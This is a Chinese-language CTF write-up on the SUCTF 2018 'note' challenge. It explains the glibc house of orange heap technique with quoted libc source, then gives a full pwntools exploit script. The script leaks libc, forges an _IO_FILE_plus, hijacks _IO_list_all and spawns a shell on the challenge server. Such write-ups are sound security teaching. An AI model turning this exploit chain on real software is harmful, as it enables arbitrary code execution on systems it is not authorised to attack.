suctf2018-note

house of orange – note

基础知识

  1. unsorted bin的解链操作没有类似于malloc中p->fd->bk == p的检查

  2. small bins和fastbin存在内存大小相等的区域,例如32位操作系统,fastbin的chunk为64字节以下的16,24,32……;同时,small bins的大小也是从16开始依次相差8字节的chunk大小。但是两者不在同一个位置,fastbin有自己的位置,small bins位于bins数组中。当释放的内存在64B以下时,会直接放入fastbin中;unsorted bin中的chunk最终会放入到small bins中。

  3. house of orange(堆地址未知的情况)

    这里省去了修改top大小的部分,修改top大小是为了重新分配一个top,把旧top放入到unsorted bin中,以利用unsorted bin的各种攻击。适用于没有unsorted bin的情况下,如果程序中有unsorted bin,可以省略这部分。

    house of orange的原理是,调用malloc时,利用unsorted bin中错误的FD/BK指针,触发malloc_printerr函数打印错误信息,malloc_printerr调用__libc_message_libc_message调用abort()abort()调用_IO_flush_all_lockp。在_IO_flush_all_lockp中,通过对链表结构_IO_list_all中的每个结点进行遍历,找到符合条件的结点,执行_IO_OVERWRITE函数,其中结点是_IO_FILE_PLUS类型的结构体,对函数的查找需要通过vtable定位函数表。

    通过代码来具体查看,malloc_printerr用于打印错误信息,位于malloc.c中:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    static void
    malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
    {
    /* Avoid using this arena in future. We do not attempt to synchronize this
    with anything else because we minimally want to ensure that __libc_message
    gets its resources safely without stumbling on the current corruption. */
    if (ar_ptr)
    set_arena_corrupt (ar_ptr);

    if ((action & 5) == 5)
    __libc_message (action & 2, "%s\n", str);
    else if (action & 1)
    {
    char buf[2 * sizeof (uintptr_t) + 1];

    buf[sizeof (buf) - 1] = '\0';
    char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
    while (cp > buf)
    *--cp = '0';

    __libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
    __libc_argv[0] ? : "<unknown>", str, cp);
    }
    else if (action & 2)
    abort ();
    }

    __libc_message中会调用absort()

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    /* Abort with an error message.  */
    void
    __libc_message (int do_abort, const char *fmt, ...)
    {
    va_list ap;
    int fd = -1;

    va_start (ap, fmt);

    ……

    va_end (ap);

    if (do_abort)
    {
    BEFORE_ABORT (do_abort, written, fd);

    /* Kill the application. */
    abort ();
    }
    }

    abort()中调用_IO_flush_all_lockp(),在调用之前先define为fflush:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    #define fflush(s) _IO_flush_all_lockp (0)

    ……
    void
    abort (void)
    {
    struct sigaction act;
    sigset_t sigs;

    /* First acquire the lock. */
    __libc_lock_lock_recursive (lock);

    /* Now it's for sure we are alone. But recursive calls are possible. */

    /* Unlock SIGABRT. */
    if (stage == 0)
    {
    ++stage;
    if (__sigemptyset (&sigs) == 0 &&
    __sigaddset (&sigs, SIGABRT) == 0)
    __sigprocmask (SIG_UNBLOCK, &sigs, (sigset_t *) NULL);
    }

    /* Flush all streams. We cannot close them now because the user
    might have registered a handler for SIGABRT. */
    if (stage == 1)
    {
    ++stage;
    //_IO_flush_all_lockp()
    fflush (NULL);
    }

    ……
    }

    离底层越来越近了……

    _IO_flush_all_lockp()获取了_IO_list_all链表,对每一个结点进行处理:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    int
    _IO_flush_all_lockp (int do_lock)
    {
    int result = 0;
    struct _IO_FILE *fp;
    int last_stamp;

    #ifdef _IO_MTSAFE_IO
    __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
    if (do_lock)
    _IO_lock_lock (list_all_lock);
    #endif

    last_stamp = _IO_list_all_stamp;
    //获取_IO_list_all
    fp = (_IO_FILE *) _IO_list_all;
    while (fp != NULL)
    {
    run_fp = fp;
    if (do_lock)
    _IO_flockfile (fp);

    //先对_IO_FILE中的mode,_IO_write,_IO_write_base等检查,满足条件才执行_IO_OVERFLOW
    if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
    #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
    || (_IO_vtable_offset (fp) == 0
    && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
    > fp->_wide_data->_IO_write_base))

    #endif
    )
    && _IO_OVERFLOW (fp, EOF) == EOF)
    result = EOF;

    if (do_lock)
    _IO_funlockfile (fp);
    run_fp = NULL;

    if (last_stamp != _IO_list_all_stamp)
    {
    / Something was added to the list. Start all over again. /
    fp = (_IO_FILE *) _IO_list_all;
    last_stamp = _IO_list_all_stamp;
    }
    else
    //循环是通过每个结点的chain字段
    fp = fp->_chain;
    }

    #ifdef _IO_MTSAFE_IO
    if (do_lock)
    _IO_lock_unlock (list_all_lock);
    __libc_cleanup_region_end (0);
    #endif

    return result;
    }

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13

    其中,确定`_IO_list_all`中结点的结构体为`_IO_FILE_plus`:

    ![_IO_list_all链表的结点类型](suctf2018-note/iolistall.png)

    `_IO_FILE_plus`的结构,即一个`_IO_FILE`结构和一个虚表指针`vtable`:

    ```c
    struct _IO_FILE_plus
    {
    _IO_FILE file;
    const struct _IO_jump_t *vtable;
    };

    _IO_FILE结构如下,其中chain是用于记录下一结点的位置的:

    _IO_FILE结构体

    继续看_IO_flush_all_lockp,在if处对结点中各字段进行检查,当满足条件时,会执行_IO_OVERFLOW,函数的寻址是通过查寻vtable实现的。vtable的结构如下,第四行即为_IO_OVERFLOW的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct _IO_jump_t
289 {
290 JUMP_FIELD(size_t, __dummy);
291 JUMP_FIELD(size_t, __dummy2);
292 JUMP_FIELD(_IO_finish_t, __finish);
293 JUMP_FIELD(_IO_overflow_t, __overflow);
294 JUMP_FIELD(_IO_underflow_t, __underflow);
295 JUMP_FIELD(_IO_underflow_t, __uflow);
296 JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
297 /* showmany */
298 JUMP_FIELD(_IO_xsputn_t, __xsputn);
299 JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
300 JUMP_FIELD(_IO_seekoff_t, __seekoff);
301 JUMP_FIELD(_IO_seekpos_t, __seekpos);
302 JUMP_FIELD(_IO_setbuf_t, __setbuf);
303 JUMP_FIELD(_IO_sync_t, __sync);
304 JUMP_FIELD(_IO_doallocate_t, __doallocate);
305 JUMP_FIELD(_IO_read_t, __read);
306 JUMP_FIELD(_IO_write_t, __write);
307 JUMP_FIELD(_IO_seek_t, __seek);
308 JUMP_FIELD(_IO_close_t, __close);
309 JUMP_FIELD(_IO_stat_t, __stat);
310 JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
311 JUMP_FIELD(_IO_imbue_t, __imbue);
312 };

按照simp1e大佬的说法,2.24版本的glibc在执行_IO_OVERFLOW之前还有一个对vtable的检查函数:_IO_check_vtable,他的思路是利用已有的vtable而不是我们自己伪造的vtable,这样很容易过check。实际上也确实有这样的vtable结构:_IO_str_jumps,它就是vtable类型的结构体,因此_IO_OVERFLOW的位置对应于_IO_str_overflow(第三行)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const struct _IO_jump_t _IO_str_jumps libio_vtable =
356 {
357 JUMP_INIT_DUMMY,
358 JUMP_INIT(finish, _IO_str_finish),
359 JUMP_INIT(overflow, _IO_str_overflow),
360 JUMP_INIT(underflow, _IO_str_underflow),
361 JUMP_INIT(uflow, _IO_default_uflow),
362 JUMP_INIT(pbackfail, _IO_str_pbackfail),
363 JUMP_INIT(xsputn, _IO_default_xsputn),
364 JUMP_INIT(xsgetn, _IO_default_xsgetn),
365 JUMP_INIT(seekoff, _IO_str_seekoff),
366 JUMP_INIT(seekpos, _IO_default_seekpos),
367 JUMP_INIT(setbuf, _IO_default_setbuf),
368 JUMP_INIT(sync, _IO_default_sync),
369 JUMP_INIT(doallocate, _IO_default_doallocate),
370 JUMP_INIT(read, _IO_default_read),
371 JUMP_INIT(write, _IO_default_write),
372 JUMP_INIT(seek, _IO_default_seek),
373 JUMP_INIT(close, _IO_default_close),
374 JUMP_INIT(stat, _IO_default_stat),
375 JUMP_INIT(showmanyc, _IO_default_showmanyc),
376 JUMP_INIT(imbue, _IO_default_imbue)
377 };

如果我们能够控制_IO_str_overflow的地址,就能执行system函数了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
_IO_str_overflow (FILE *fp, int c)
82 {
83 int flush_only = c == EOF;
84 size_t pos;
85 if (fp->_flags & _IO_NO_WRITES)
86 return flush_only ? 0 : EOF;
87 if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
88 {
89 fp->_flags |= _IO_CURRENTLY_PUTTING;
90 fp->_IO_write_ptr = fp->_IO_read_ptr;
91 fp->_IO_read_ptr = fp->_IO_read_end;
92 }
93 pos = fp->_IO_write_ptr - fp->_IO_write_base;
94 if (pos >= (size_t) (_IO_blen (fp) + flush_only))
95 {
96 if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
97 return EOF;
98 else
99 {
100 char *new_buf;
101 char *old_buf = fp->_IO_buf_base;
102 size_t old_blen = _IO_blen (fp);
103 size_t new_size = 2 * old_blen + 100;
104 if (new_size < old_blen)
105 return EOF;
//这里有一个相对地址的调用,函数地址是fp的某地址,参数为new_size.
106 new_buf
107 = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
108 if (new_buf == NULL)
109 {
110 /* __ferror(fp) = 1; */
111 return EOF;
112 }
113 if (old_buf)
114 {
115 memcpy (new_buf, old_buf, old_blen);
116 (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
117 /* Make sure _IO_setb won't try to delete _IO_buf_base. */
118 fp->_IO_buf_base = NULL;
119 }
120 memset (new_buf + old_blen, '\0', new_size - old_blen);
121
122 _IO_setb (fp, new_buf, new_buf + new_size, 1);
123 fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
124 fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
125 fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
126 fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
127
128 fp->_IO_write_base = new_buf;
129 fp->_IO_write_end = fp->_IO_buf_end;
130 }
131 }
132
133 if (!flush_only)
134 *fp->_IO_write_ptr++ = (unsigned char) c;
135 if (fp->_IO_write_ptr > fp->_IO_read_end)
136 fp->_IO_read_end = fp->_IO_write_ptr;
137 return c;
138 }

通过IDA查看libc,找到_IO_str_overflow,可以看到,a1是_IO_str_overflow的第一个参数,即fp;要执行的函数偏移为fp+224,参数为v7。可以考虑把fp+224写为system的地址,v7写为/bin/sh的地址;v6就等于(v7-100)/2,而v6又是*(fp+64)-v5v5= *(fp+56),这样我们可以自己构造一个_IO_FILE_plus结构,然后在64和56偏移处放入v6和v5,并把vtable的地址设置为_IO_str_jumps结构体的地址。

IDA查看参数

总结一下,在malloc_printerr中函数的调用关系如下:

函数调用栈

举例分析–SUCTF2018 NOTE

基本逻辑

依旧是菜单类的小游戏,有三个功能:添加、展示和删除。

在游戏开始之前,先对ptr进行了初始化。ptr是位于bss段的一个指针数组,在ptr[0]中写入了:Hello,Welcome to SUCTF,I letf something here!

add函数找到ptr中第一个为空的位置,分配size大小的空间,并输入内容,此处没有对输入内容的大小做限制

add

show函数通过索引找到对应内存,输出内容。

show

dele函数会释放ptr[0]和qword_2020c8中存放地址对应的内存。

dele

漏洞利用

在add中,对输入的内容长度未做限制,会造成堆溢出漏洞。利用堆溢出漏洞,可以构造出上述的_IO_FILE_plus结构。

首先,泄露system地址,还是常用的UAF,当dele释放之后,通过读取unsortedbin的FD指针,计算出libc的地址。

然后,为了能够执行构造的_IO_FILE_plus结构中vtable的_IO_OVERFLOW,要对_IO_list_all进行劫持,即在_IO_flush_all_lockp函数中对_IO_list_all的每一个结点进行遍历时,要让它检查我们伪造的结点。因此考虑用unsorted bin attack,使解链操作时,*_IO_list_all = unsorted_chunk(av),即第一个结点位于unsorted bin的头部,这样,chain对应的位置恰好为第六个small bins头的位置。我们可以想办法把伪造的_IO_FILE_plus放在第六个small bins对应的大小里,即0x60。

采用的方法是,通过堆溢出修改下一个位于unsorted bin 的chunk大小为0x61,在这个chunk里存放伪造的_IO_FILE_plus。此时再分配一个大于0x200大小的内存,由于unsorted bin中的块不能满足要求,则会先将这个块放入对应大小的small bins里,然后再查找下一块。查找下一块时由于unsorted bin attack已经破坏了chunk的BK,由此就会触发malloc_printerr函数,遍历_IO_list_all,第一个结点已经转移unsorted bin上,但不满足条件,于是通过chain字段找到下一个结点,也就是我们伪造的结点,最终能够执行system

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
 from pwn import *

#SUCTF{Me1z1jiu_say_s0rry_LOL}
context.log_level='debug'
debug=1
if debug:
p = process('./note')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
gdb.attach(p,"b _IO_str_overflow")
else :
libc = ELF('./libc6_2.24-12ubuntu1_amd64.so')
p = remote('pwn.suctf.asuri.org',20003)


def add(size,content):
p.recvuntil('Choice>>')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(size))
p.recvuntil('Content:')
p.sendline(content)
def show(index):
p.recvuntil('Choice>>')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(index))
def dele():
p.recvuntil('Choice>>')
p.sendline('3')
p.recvuntil('(yes:1)')
p.sendline('1')

add(16,'1'*16)#2

#leak system address
dele()
show(0)
p.recvuntil('Content:')
libc_addr = u64(p.recv(6)+'\x00\x00')
offset = 0x7f1b15e2ab78-0x7f1b15a66000
libc_base = libc_addr - 88 - 0x10 - libc.symbols['__malloc_hook']
sys_addr = libc_base+libc.symbols['system']
malloc_hook = libc_base+libc.symbols['__malloc_hook']
io_list_all = libc_base+libc.symbols['_IO_list_all']
binsh_addr = libc_base+next(libc.search('/bin/sh'))+5
log.info('sys_addr:%#x' %sys_addr)

#unsorted bin attack
fake_chunk = p64(0x8002)+p64(0x61) #header
fake_chunk += p64(0xddaa)+p64(io_list_all-0x10)

#fake IO_FILE_PLUS
fake_IFP = p64(0x2)+p64(0xffffffffffffff) + p64(0)*2 +p64((binsh_addr-0x64)/2)
fake_IFP = fake_IFP.ljust(0x80,'\x00')
fake_IFP += p64(sys_addr+0x420)
fake_IFP = fake_IFP.ljust(0xa0,'\x00')
fake_IFP += p64(0)

vtable_addr = malloc_hook-0x1370#+libc.symbols['_IO_str_jumps']
fake_IFP += p64(0)
fake_IFP += p64(0)
fake_IFP += p64(vtable_addr)
fake_IFP += p64(sys_addr)
fake_IFP += p64(2)
fake_IFP += p64(3)
fake_IFP += p64(0)*3
payload = 'a'*16 +fake_chunk+fake_IFP
payload += p64(sys_addr)

add(16,payload)#3
#add a large chunk
p.recvuntil('Choice>>')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(0x200))

p.interactive()